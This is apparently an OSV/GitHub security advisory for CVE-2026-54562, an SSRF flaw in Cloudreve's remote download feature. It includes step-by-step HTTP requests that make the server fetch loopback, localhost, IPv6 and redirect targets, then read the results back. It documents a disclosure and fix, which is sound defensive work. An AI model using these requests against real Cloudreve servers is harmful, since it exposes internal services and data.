CVE-2026-54562: Cloudreve Non-admin Remote Download Users Can Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x756-g4x3-c64m",
  "modified" : "2026-07-20T21:16:51Z",
  "published" : "2026-07-20T21:16:51Z",
  "aliases" : [ "CVE-2026-54562" ],
  "summary" : "Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses",
  "details" : "## Summary\n\nCloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.\n\nWhen the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.\n\nThis does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.\n\n## Attacker requirements\n\nThe attacker must be:\n\n- authenticated\n- non-admin\n- in a user group where `GroupPermissionRemoteDownload` is enabled\n\nDefault normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not.\n\n## Affected endpoint\n\n```http\nPOST /api/v4/workflow/download\n```\n\nFollow-up attacker readback was performed through normal workflow and file APIs:\n\n```http\nGET /api/v4/workflow?category=downloaded...\nGET /api/v4/file?uri=cloudreve://my...\nPOST /api/v4/file/url\n```\n\n## Root cause\n\nThe remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.\n\nRelevant code paths:\n\n- `service/explorer/workflows.go:81`\n- `pkg/filemanager/workflows/remote_download.go:202`\n- `pkg/downloader/aria2/aria2.go:56`\n\nThe application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.\n\n## Impact\n\nA non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.\n\nIn my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.\n\nConfirmed targets:\n\n- `http://127.0.0.1:7777/secret2`\n- `http://localhost:7777/localsecret`\n- `http://[::1]:7780/v6secret`\n- redirect to `http://127.0.0.1:7777/redirsecret`\n\nThis can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.\n\n## Reproduction\n\n### 1. Permission negative control\n\nThe attacker is a normal non-admin user in the default `User` group.\n\nBefore enabling remote download for the group:\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":40007,\"msg\":\"Group not allowed to download files\"}\n```\n\n### 2. Enable only remote download permission for the non-admin group\n\nThe default install grants remote download to the admin group only. The default `User` group does not have it.\n\nConfirmed in:\n\n- `inventory/migration.go:154`\n- `inventory/migration.go:179`\n\nFor this test, I only changed group 2 permissions from:\n\n```text\nhAg=\n```\n\nto:\n\n```text\nhAo=\n```\n\nThe attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`.\n\n### 3. Start an internal listener\n\nExample listener on the Cloudreve host:\n\n```text\n127.0.0.1:7777\n```\n\nThe listener returned a marker response:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n### 4. Queue a remote download to loopback\n\n```http\nPOST /api/v4/workflow/download\nContent-Type: application/json\n\n{\"src\":[\"http://127.0.0.1:7777/secret2\"],\"dst\":\"cloudreve://my\"}\n```\n\nResponse:\n\n```json\n{\"code\":0,\"data\":[{\"id\":\"OzH4\",\"status\":\"queued\",\"type\":\"remote_download\"}]}\n```\n\nThe internal listener received the request:\n\n```text\n127.0.0.1 - - [27/May/2026 13:00:46] \"GET /secret2 HTTP/1.1\" 200 -\n```\n\nAria2 completed the download:\n\n```text\nDownload complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2\n```\n\n### 5. Read the imported internal response as the attacker\n\nThe task completed successfully:\n\n```json\n{\"id\":\"OzH4\",\"status\":\"completed\",\"summary\":{\"props\":{\"src_str\":\"http://127.0.0.1:7777/secret2\",\"failed\":0}}}\n```\n\nThe attacker could list the imported file:\n\n```json\n{\"name\":\"secret2\",\"path\":\"cloudreve://my/secret2\"}\n```\n\nThe attacker could then download and read the response body:\n\n```text\nSSRF_SECRET_2_20260527\n```\n\n## Additional validated variants\n\n### localhost\n\nInput:\n\n```text\nhttp://localhost:7777/localsecret\n```\n\nAttacker readback:\n\n```text\nLOCALHOST_SECRET_20260527\n```\n\n### Redirect to loopback\n\nInput:\n\n```text\nhttp://127.0.0.1:7779/anything\n```\n\nRedirect:\n\n```text\n302 Location: http://127.0.0.1:7777/redirsecret\n```\n\nAttacker readback:\n\n```text\nREDIR_SECRET_20260527\n```\n\n### IPv6 localhost\n\nInput:\n\n```text\nhttp://[::1]:7780/v6secret\n```\n\nAttacker readback:\n\n```text\nIPV6_SECRET_20260527\n```\n\n## Expected behavior\n\nCloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.\n\nRedirect targets should be checked with the same policy.\n\n## Actual behavior\n\nCloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.0-20260606025411-aaebf317a78f"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.0.0-20250225100611-da4e44b77af4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-x756-g4x3-c64m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54562"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/commit/aaebf317a78f2413d74afd66c21a1f3143711312"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cloudreve/cloudreve"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:16:51Z",
    "nvd_published_at" : "2026-07-15T15:16:44Z"
  }
}